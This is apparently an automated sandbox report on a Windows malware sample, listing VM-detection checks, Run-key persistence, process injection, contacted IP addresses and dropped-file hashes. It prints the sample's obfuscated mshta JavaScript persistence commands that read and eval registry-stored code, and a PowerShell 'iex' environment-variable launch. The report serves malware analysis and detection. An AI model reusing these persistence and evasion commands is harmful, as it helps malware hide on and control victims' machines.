Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	C:\Windows\SysWOW64\regsvr32.exe	N/A

Looks for VirtualBox drivers on disk

evasion

Description	Indicator	Process	Target
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	C:\Windows\SysWOW64\regsvr32.exe	N/A

ModiLoader Second Stage

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Looks for VMWare Tools registry key

evasion

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	C:\Windows\SysWOW64\regsvr32.exe	N/A

Checks BIOS information in registry

Description	Indicator	Process	Target
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	C:\Windows\SysWOW64\regsvr32.exe	N/A

Deletes itself

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A

Drops startup file

Description	Indicator	Process	Target
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk	C:\Windows\SysWOW64\regsvr32.exe	N/A

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:ygp5fWOF=\"jucdkY\";t24h=new%20ActiveXObject(\"WScript.Shell\");J3Ezluv=\"CQ2IIJ\";VeS56i=t24h.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\jvvo\\\\xbawnqo\");SBPs6=\"FO\";eval(VeS56i);C3C8Cvnz=\"nuW6GkZy\";"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:NrdX3=\"qk9\";y2O=new%20ActiveXObject(\"WScript.Shell\");e1MbM=\"cmI\";v4T9qC=y2O.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");cYVmtnH6=\"mxbcD0\";eval(v4T9qC);kGBGy4x8=\"3icWENbG\";"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\529d1c\\1bcd8a.lnk\""	C:\Windows\SysWOW64\regsvr32.exe	N/A

Maps connected drives based on registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	C:\Windows\SysWOW64\regsvr32.exe	N/A

Drops file in System32 directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 2136 set thread context of 2124	N/A	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe
PID 2816 set thread context of 2752	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2752 set thread context of 2068	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\International	C:\Windows\SysWOW64\regsvr32.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open\command	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:Z5yZM=\"pxHcbj\";I8T7=new ActiveXObject(\"WScript.Shell\");y6o9AxSQ=\"1S\";nA6nh2=I8T7.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");fKpt3=\"TcpENQ\";eval(nA6nh2);AV1lfv0=\"gVVsQ\";\""	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.cbe78f1	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.cbe78f1\ = "ed42e7"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7	C:\Windows\SysWOW64\regsvr32.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2136 wrote to memory of 2124	N/A	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe
PID 2136 wrote to memory of 2124	N/A	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe
PID 2136 wrote to memory of 2124	N/A	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe
PID 2136 wrote to memory of 2124	N/A	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe
PID 2136 wrote to memory of 2124	N/A	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe
PID 2136 wrote to memory of 2124	N/A	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe
PID 2136 wrote to memory of 2124	N/A	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe
PID 2136 wrote to memory of 2124	N/A	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe
PID 2136 wrote to memory of 2124	N/A	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe
PID 2688 wrote to memory of 2816	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2688 wrote to memory of 2816	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2688 wrote to memory of 2816	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2688 wrote to memory of 2816	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2816 wrote to memory of 2752	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2752	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2752	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2752	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2752	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2752	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2752	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2752	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2752 wrote to memory of 2068	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2752 wrote to memory of 2068	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2752 wrote to memory of 2068	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2752 wrote to memory of 2068	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2752 wrote to memory of 2068	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2752 wrote to memory of 2068	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2752 wrote to memory of 2068	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2752 wrote to memory of 2068	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe

C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:MkS2R="xY";N6u=new%20ActiveXObject("WScript.Shell");nqyer36F="Od4pJx1";h0Up8I=N6u.RegRead("HKLM\\software\\Wow6432Node\\3f2pL9cxYk\\d719eJ");m05RkBivP="s";eval(h0Up8I);MqK2U0="v";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:hhoytrhx

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country	Destination	Domain	Proto
CA	149.56.85.223:80		tcp
SN	41.82.185.104:80		tcp
JP	60.58.148.240:80		tcp
CN	36.132.131.3:80		tcp
US	54.91.73.127:80		tcp
ET	196.188.184.182:80		tcp
ZA	164.149.254.13:8080		tcp
US	71.65.114.180:80		tcp
MX	187.169.68.221:80		tcp
CN	139.159.134.87:80		tcp
JP	221.22.185.96:80		tcp
US	4.15.125.150:80		tcp
IN	103.113.106.23:80		tcp
CZ	78.102.130.240:80		tcp
KW	149.147.132.188:80		tcp
HK	45.204.151.158:80		tcp
JP	219.209.39.120:80		tcp
US	38.118.210.78:443		tcp
ID	125.160.181.201:443		tcp
TW	211.78.14.232:80		tcp
CN	8.135.6.113:80		tcp
US	64.6.226.9:80		tcp
SG	43.112.15.250:80		tcp
US	9.9.132.142:80		tcp
US	67.178.163.41:80		tcp
US	29.253.164.10:80		tcp
US	138.43.168.115:80		tcp
BE	91.177.178.119:443		tcp
JP	180.45.183.237:80		tcp
TW	123.241.108.232:80		tcp
JP	118.23.214.113:443		tcp
CN	222.88.12.206:80		tcp
US	48.42.125.60:80		tcp
JP	136.187.215.68:80		tcp
AU	123.211.31.25:443		tcp
CA	38.140.11.82:80		tcp
US	204.64.208.38:80		tcp
CN	58.133.98.103:80		tcp
CA	162.139.54.186:8080		tcp
JP	106.132.244.198:80		tcp
JP	202.152.211.205:80		tcp
US	52.205.225.185:80		tcp
US	70.254.170.148:8080		tcp
JP	220.8.212.60:80		tcp
CN	58.43.13.239:443		tcp
DK	213.237.31.81:443		tcp
DE	53.47.26.35:80		tcp
SI	188.199.7.110:443		tcp
US	192.67.160.100:80		tcp
JP	150.36.26.135:80		tcp
US	11.139.189.64:80		tcp
DE	131.234.87.99:80		tcp
JP	117.103.188.36:8080		tcp
CN	220.184.171.181:443		tcp
US	12.34.134.185:80		tcp
US	160.208.146.181:80		tcp
AR	200.43.127.205:443		tcp
SA	100.196.82.31:80		tcp
KR	119.193.235.27:80		tcp
CN	110.155.161.123:8080		tcp
CN	42.159.49.176:80		tcp
ZA	41.194.226.169:80		tcp
US	140.244.131.170:80		tcp
N/A	198.186.39.240:80		tcp
US	146.65.31.178:80		tcp
CN	124.161.140.190:80		tcp
BE	188.5.88.172:80		tcp
US	40.102.131.53:8080		tcp
US	3.138.25.132:8080		tcp
IT	79.20.132.145:80		tcp
CA	50.71.113.138:80		tcp
DE	91.61.254.199:80		tcp
N/A	127.168.232.46:443		tcp
DE	53.238.85.150:80		tcp
DE	87.122.127.188:443		tcp
TR	88.248.163.158:80		tcp
US	168.222.125.149:80		tcp
US	70.20.79.144:80		tcp
PK	39.47.181.141:80		tcp
US	152.4.146.124:80		tcp
JP	218.121.212.115:80		tcp
CN	121.192.107.76:80		tcp
US	134.40.177.249:80		tcp
AT	144.208.189.13:80		tcp
US	7.91.240.14:80		tcp
US	207.240.191.64:80		tcp
US	68.22.228.111:80		tcp
US	96.176.213.81:80		tcp
US	208.241.155.11:80		tcp
US	137.161.141.55:80		tcp
US	64.251.230.3:80		tcp
US	152.23.203.227:80		tcp
MA	105.151.116.251:8080		tcp
US	162.99.71.51:80		tcp
RU	176.109.81.100:80		tcp
AT	129.27.244.56:80		tcp
RU	5.19.50.6:80		tcp
CN	43.151.217.171:8080		tcp
HK	203.123.148.47:80		tcp
PK	39.33.107.25:80		tcp
DK	62.66.139.66:443		tcp
US	20.177.204.23:80		tcp
IR	5.222.12.59:80		tcp
US	104.175.236.1:80		tcp
IN	171.49.235.161:80		tcp
JP	150.66.205.100:443		tcp
KR	125.150.179.23:443		tcp
US	168.3.186.187:80		tcp
JP	221.108.219.188:80		tcp
FR	81.65.116.17:443		tcp
US	44.119.145.86:80		tcp
US	148.137.26.68:80		tcp
JP	133.201.67.117:80		tcp
US	9.56.21.46:80		tcp
US	107.129.176.43:80		tcp
FR	86.74.157.2:80		tcp
US	56.34.204.73:443		tcp
AR	170.244.128.184:80		tcp
US	21.5.50.234:80		tcp
US	73.253.155.133:80		tcp
DE	216.83.211.175:80		tcp
FI	158.90.1.6:80		tcp

Files

memory/2124-0-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2124-12-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2124-13-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2124-10-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2124-8-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2124-6-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2124-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2124-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2124-14-0x0000000001D90000-0x0000000001E66000-memory.dmp

memory/2124-17-0x0000000001D90000-0x0000000001E66000-memory.dmp

memory/2124-15-0x0000000001D90000-0x0000000001E66000-memory.dmp

memory/2124-18-0x0000000001D90000-0x0000000001E66000-memory.dmp

memory/2124-16-0x0000000001D90000-0x0000000001E66000-memory.dmp

memory/2124-19-0x0000000001D90000-0x0000000001E66000-memory.dmp

memory/2124-20-0x0000000001D90000-0x0000000001E66000-memory.dmp

memory/2816-29-0x0000000006370000-0x0000000006446000-memory.dmp

memory/2752-31-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-32-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2816-34-0x0000000006370000-0x0000000006446000-memory.dmp

memory/2752-42-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-41-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-43-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-45-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-35-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-37-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-38-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-36-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-51-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-53-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-55-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-40-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-39-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-57-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-64-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-54-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-67-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-66-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-65-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-63-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-58-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-56-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-52-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-50-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-49-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-48-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-47-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-46-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-44-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2752-74-0x00000000001D0000-0x0000000000311000-memory.dmp

memory/2068-79-0x0000000000240000-0x0000000000381000-memory.dmp

memory/2068-80-0x0000000000240000-0x0000000000381000-memory.dmp

memory/2068-78-0x0000000000240000-0x0000000000381000-memory.dmp

memory/2068-77-0x0000000000240000-0x0000000000381000-memory.dmp

memory/2068-76-0x0000000000240000-0x0000000000381000-memory.dmp

memory/2068-75-0x0000000000240000-0x0000000000381000-memory.dmp

C:\Users\Admin\AppData\Local\529d1c\4bd7f2.bat

MD5	7f145f9c460ee7bb55a3e7ad72a65f86
SHA1	39a73f2119c72ae27a166fff9ceb13859f6ac21b
SHA256	16e3704ce7a5f142fe817cd42cf9fd214341caf20a284c439457feb84515ddad
SHA512	1bfbf2931d904ae08d6552267b918e8f7e6cce6d142f0c950c74e2e601dc3cf36428fcddf67ad3cae1acb565edf4871c0c3c165be88c34d3c81b68b8d7c1a75f

C:\Users\Admin\AppData\Local\529d1c\7fd902.cbe78f1

MD5	cbe93ef76598a4adc336252c5f81c7a3
SHA1	e9bf8987c581b66d9d28c822bd014ef7a1b1c183
SHA256	57b64aade2aa672655650c46a717af17c5809af6e7eef159fb50562e511de003
SHA512	25d843b6454c1208eba0f42ce5ce6a832e36efdafc94e97aecb8496dfaa4827785ce44050275f488e0668b26eaff20d9e944717ccd924f406daa5350ec04dd11

C:\Users\Admin\AppData\Local\529d1c\1bcd8a.lnk

MD5	0ae0cb2e829be755e1a2a19eff7b76c0
SHA1	b4a068fb4d3b97ee4b3a23f4b6a00f977d94847b
SHA256	244bccf4e795477b26a5ab4fb2ee71af28c0db8b3fb7250731217c0ce19b80fe
SHA512	7a7ea1780b6bfb52dd615fdbda429a89b9b810cd4d5dcab52fa91c1eeeef0aa1dadd73177824ff9087dd13f9c7d892822c6e4926e072a753daa5c6c24e216a2e

C:\Users\Admin\AppData\Roaming\4f4be6\d3bc4d.cbe78f1

MD5	dab85c10140f6aeed23836b1f772c719
SHA1	8c98248176f17355fef51cb4b5c3e73575750e9b
SHA256	3b6502a544f07a3dc26a6a12896cf1ed9bbc694eb26476a5aca1188f1750f2e7
SHA512	973a25cefdb632cc20a33e8f2d365d76a21de35b7ba68c2134cb6d981e58cc06bc3c147f5ad70e23e4de74fdb9000582e6f73dd0790a5d3eeb7f44f4cbe332fd

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk

MD5	fece040f356848d487000a6c4514b48e
SHA1	dbe1605800b9ac9d5fc23e01598df6ca7db56a69
SHA256	57b824e625ee5e81621db9311f35d2bcbbbf83e5dfda5d66aa9ccfe7cda654aa
SHA512	89ca91fef6c4cc4115fd6f75fa9c2c3c1e2f691d0f83d01468212ac76d783c947d4fa51172b51d048a22a283f4b6d3177f7d64c748e85119737b55f4ed06a3a6

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-28 18:48

Reported

2024-05-28 18:51

Platform

win10v2004-20240426-en

Max time kernel

134s

Max time network

145s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7e009d25176572881fa9322dc4f075c7_JaffaCakes118.exe"

Network

Country	Destination	Domain	Proto
